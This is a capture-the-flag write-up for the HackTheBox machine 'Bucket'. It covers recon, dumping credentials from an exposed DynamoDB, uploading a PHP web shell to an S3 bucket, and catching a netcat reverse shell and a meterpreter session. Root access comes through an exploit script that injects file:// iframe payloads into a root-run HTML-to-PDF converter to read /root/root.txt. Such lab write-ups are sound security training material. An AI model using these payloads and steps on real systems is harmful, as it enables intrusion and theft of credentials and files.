HackTheBox - Bucket write up
9 min read

HackTheBox - Bucket write up

HackTheBox - Bucket write up

Bucket is a medium linux box.

Recon

As always, let's start with a nmap scan.

$ nmap -p 22,80 -sV -sC -oN scan.nmap 10.10.10.212
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH seems to be up to date, so let's check the web port under Apache.

Web

http://10.10.10.212/index.html

If we look at the source code of the page we can see that this HTML page loads content from a AWS (Amazon Web Services) S3 Bucket.

<img src="http://s3.bucket.htb/adserver/images/bug.jpg" alt="Bug" height="160" width="160">

A bucket is like a cloud storage. I add this two VHOST into my /etc/hosts file.

10.10.10.212 bucket.htb s3.bucket.htb

If we go to http://s3.bucket.htb we get :

{"status": "running"}

Let's run wfuzz to find some endpoints.

$ wfuzz -c --hh 21 -z file,/opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt "http://s3.bucket.htb/FUZZ/"

I found this webpage :

http://s3.bucket.htb/shell/

Let's use aws-cli to show the tables on the dynamoDB, but first we need to configure aws-cli (here with dummy data).

$ aws configure
AWS Access Key ID [None]: toto
AWS Secret Access Key [None]: toto
Default region name [None]: US
Default output format [None]: json

$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/
{
    "TableNames": [
        "users"
    ]
}

We have a users table, let's describe this table to show the different attributes.

$ aws dynamodb describe-table --table-name users --endpoint-url http://s3.bucket.htb/shell/
{
    "Table": {
        "AttributeDefinitions": [
            {
                "AttributeName": "username",
                "AttributeType": "S"
            },
            {
                "AttributeName": "password",
                "AttributeType": "S"
            }
        ],
        "TableName": "users",
        "KeySchema": [
            {
                "AttributeName": "username",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "password",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1612329302.932,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 5,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 107,
        "ItemCount": 3,
        "TableArn": "arn:aws:dynamodb:ddblocal:000000000000:table/users"
    }
}

So, the table users have two attributes, username and password. Let's dump (scan) the table.

$ aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/shell/
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}

Great ! We have some credentials.

Mgmt:Management@#1@#
Cloudadm:Welcome123!
Sysadm:n2vM-<_K_Q:.Aa2

I try to log into SSH with this credentials below but it did not work. They will be useful later.

Now, let's interact with the content of the bucket. In first, let's list the different buckets.

$ aws s3api list-buckets --endpoint-url http://s3.bucket.htb/ 
{
    "Buckets": [
        {
            "Name": "adserver",
            "CreationDate": "2021-02-03T19:22:03.639644Z"
        }
    ],
    "Owner": {
        "DisplayName": "webfile",
        "ID": "bcaf1ffd86f41161ca5fb16fd081034f"
    }
}

There is only one bucket named adserver, let's look its content.

$ aws s3 ls --endpoint-url http://s3.bucket.htb/ s3://adserver
                           PRE images/
2021-02-03 21:03:04       5344 index.html

The content of the bucket is all the files of http://bucket.htb.

So if we upload file on the adserver bucket, it will go on the website. Let's try to upload a PHP script that will execute commands on the server.

$ aws s3 cp shell.php --endpoint-url http://s3.bucket.htb/ s3://adserver/
upload: ./shell.php to s3://adserver/shell.php                   
$ aws s3 ls --endpoint-url http://s3.bucket.htb/ s3://adserver/
                           PRE images/
2021-02-03 21:41:03       5344 index.html
2021-02-03 21:41:05      15744 shell.php
https://github.com/flozz/p0wny-shell/blob/master/shell.php

Then execute a netcat reverse shell from http://bucket.htb/shell.php.

$ nc -lvnp 4444
Connection from 10.10.10.212:51724
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Our first shell !

User

There is a roy user on the box.

www-data@bucket:/home$ ls
roy

Let's use the credentials we got from the DynamoDB to login as roy.

www-data@bucket:/home$ su roy
Password: Management@#1@#

su: Authentication failure
www-data@bucket:/home$ su roy
Password: Welcome123!

su: Authentication failure
www-data@bucket:/home$ su roy
Password: n2vM-<_K_Q:.Aa2

roy@bucket:/home$ id
uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm)
roy@bucket:/home$ cd
roy@bucket:~$ cat user.txt
a2546587157ab3140870cae93ed4d9a5

The third password works, we now have the user flag !

Root

roy@bucket:~$ netstat -anlp | grep "\*"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:37171         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           - 

So, there is multiple ports open. We know thanks to nmap that the server is using Apache with different VHOST. We can look to the apache config file to learn more information.

roy@bucket:/etc/apache2/sites-available$ cat 000-default.conf
<VirtualHost 127.0.0.1:8000>
	<IfModule mpm_itk_module>
		AssignUserId root root
	</IfModule>
	DocumentRoot /var/www/bucket-app
</VirtualHost>

<VirtualHost *:80>
	DocumentRoot /var/www/html
	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^bucket.htb$
	RewriteRule /.* http://bucket.htb/ [R]
</VirtualHost>

<VirtualHost *:80>
	...
	ProxyPreserveHost on
	ProxyPass / http://localhost:4566/
	ProxyPassReverse / http://localhost:4566/
	<Proxy *>
		 Order deny,allow
		 Allow from all
	 </Proxy>
	ServerAdmin webmaster@localhost
	ServerName s3.bucket.htb
	...
</VirtualHost>

Thanks to this config file below and some research we can assign the different ports to its application. There is a summary :

22	-> SSH
80	-> WEB : bucket.htb
4566	-> DynamoDB : s3.bucket.htb
8000	-> WEB : /var/www/bucket-app

The web bucket-app application is running as root, interesting. There is the app :

roy@bucket:/var/www/bucket-app$ ls -al
total 856
drwxr-x---+  4 root root   4096 Sep 23 10:56 .
drwxr-xr-x   4 root root   4096 Sep 21 12:28 ..
-rw-r-x---+  1 root root     63 Sep 23 02:23 composer.json
-rw-r-x---+  1 root root  20533 Sep 23 02:23 composer.lock
drwxr-x---+  2 root root   4096 Feb  6 16:16 files
-rwxr-x---+  1 root root  17222 Sep 23 03:32 index.php
-rwxr-x---+  1 root root 808729 Jun 10  2020 pd4ml_demo.jar
drwxr-x---+ 10 root root   4096 Sep 23 02:23 vendor
roy@bucket:/var/www/bucket-app$ head index.php -n 30
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
	if($_POST["action"]==="get_alerts") {
		date_default_timezone_set('America/New_York');
		$client = new DynamoDbClient([
			'profile' => 'default',
			'region'  => 'us-east-1',
			'version' => 'latest',
			'endpoint' => 'http://localhost:4566'
		]);

		$iterator = $client->getIterator('Scan', array(
			'TableName' => 'alerts',
			'FilterExpression' => "title = :title",
			'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
		));

		foreach ($iterator as $item) {
			$name=rand(1,10000).'.html';
			file_put_contents('files/'.$name,$item["data"]);
		}
		passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
	}
}
else
{
?>
http://localhost:8000/index.php

First, the app connects to the DynamoDB, then scan the alerts table and look for all the items with the title of "Ransomware". After that, the script loops on all the items, put the content of the attribute data of each item into a HTML file. Finally, run pd4ml_demo.jar on this HTML file to convert it into a PDF.

Let's look at the different tables.

roy@bucket:~$ aws dynamodb list-tables --endpoint-url http://localhost:4566
{
    "TableNames": [
        "users"
    ]
}

The table alerts does not exist, let's create it with the two attributes, title and data.

roy@bucket:/var/www/bucket-app$ aws dynamodb create-table \
>     --table-name alerts \
>     --attribute-definitions \
>         AttributeName=title,AttributeType=S \
>         AttributeName=data,AttributeType=S \
>     --key-schema \
>         AttributeName=title,KeyType=HASH \
>         AttributeName=data,KeyType=RANGE \
>     --provisioned-throughput \
>         ReadCapacityUnits=10,WriteCapacityUnits=5 \
>     --endpoint-url http://localhost:4566
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            },
            {
                "AttributeName": "data",
                "AttributeType": "S"
            }
        ],
        "TableName": "alerts",
        "KeySchema": [
            {
                "AttributeName": "title",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "data",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1612606566.068,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 10,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 0,
        "ItemCount": 0,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
    }
}

Let's try the application with a dummy item.

  1. Create it
roy@bucket:/var/www/bucket-app$ vim /tmp/item.json
roy@bucket:/var/www/bucket-app$ cat /tmp/item.json
{
    "title": {"S": "Ransomware"},
    "data": {"S": "Hello world !"}
}

2. Put the item on the DynamoDB

roy@bucket:/var/www/bucket-app$ aws dynamodb put-item --table-name alerts \
>     --item file:///tmp/item.json --endpoint-url http://localhost:4566
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}

3. Request the web server to do the action

roy@bucket:/var/www/bucket-app$ curl -X POST -d "action=get_alerts" http://localhost:8000/
roy@bucket:/var/www/bucket-app$ ls files/
856.html  result.pdf
roy@bucket:/var/www/bucket-app$ cat files/856.html 
Hello world !
roy@bucket:/var/www/bucket-app$ file files/result.pdf 
files/result.pdf: PDF document, version 1.4

It works, the application has created a PDF file according to the "Hello world" HTML file. So, now let's try to exploit it.

I try to get PHP code executed but HTML file do not processed PHP. Then, I try to include other files into the HTML code to read their contents. I try many payloads and only the last works.

<html> <h1><object type='text/html' data='file:///root/root.txt'></object></h1> </html>

<html> <embed type='text/html' src='file:///root/root.txt'> </html>

<html> <link rel='import' href='file:///root/root.txt'> </html>

<html> <script src='file:///root/root.txt' type='text/javascript'></script> </html>

<html> <iframe src='file:///root/root.txt'></iframe> </html> 

The box reset the database every 30 seconds so I wrote a simple bash script to do all the steps for me.

#!/usr/bin/env bash

ITEM_PATH="/dev/shm/item.json"

aws dynamodb create-table \
    --table-name alerts \
    --attribute-definitions \
        AttributeName=title,AttributeType=S \
        AttributeName=data,AttributeType=S \
    --key-schema \
        AttributeName=title,KeyType=HASH \
        AttributeName=data,KeyType=RANGE \
    --provisioned-throughput \
        ReadCapacityUnits=10,WriteCapacityUnits=5 \
    --endpoint-url http://localhost:4566

cat << EOF > $ITEM_PATH
{
    "title": {"S": "Ransomware"},
    "data": {"S": "<html> <iframe src='file:///root/root.txt'></iframe> </html>"}
}
EOF

aws dynamodb put-item --table-name alerts \
    --item file://$ITEM_PATH --endpoint-url http://localhost:4566

curl -X POST -d "action=get_alerts" http://localhost:8000/

ls -al /var/www/bucket-app/files/

HTML_FULL_PATH=/var/www/bucket-app/files/*.html
HTML_FILE_NAME=$(basename $HTML_FULL_PATH)

echo -e "\nHTML Content :"
cat $HTML_FULL_PATH

echo -e "\nCURL :"
curl http://localhost:8000/files/$HTML_FILE_NAME
exploit.sh

I upload a msfvenom payload to get a meterpreter shell that allows me to setup port forwarding on the box. The tutorial can be found here.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.198:4444 
[*] Meterpreter session 2 opened (10.10.14.198:4444 -> 10.10.10.212:58446) at 2021-02-05 21:08:19 +0100

meterpreter > portfwd add -l 8000 -p 8000 -r 127.0.0.1
[*] Local TCP relay created: :8000 <-> 127.0.0.1:8000
meterpreter > 

Therefore, I execute my exploit.sh script and browse to localhost:8000.

http://localhost:8000/files

The content of the HTML file is null but result.pdf contains the included file !

Content of /root/root.txt

There is the box !

Enjoying these posts? Subscribe for more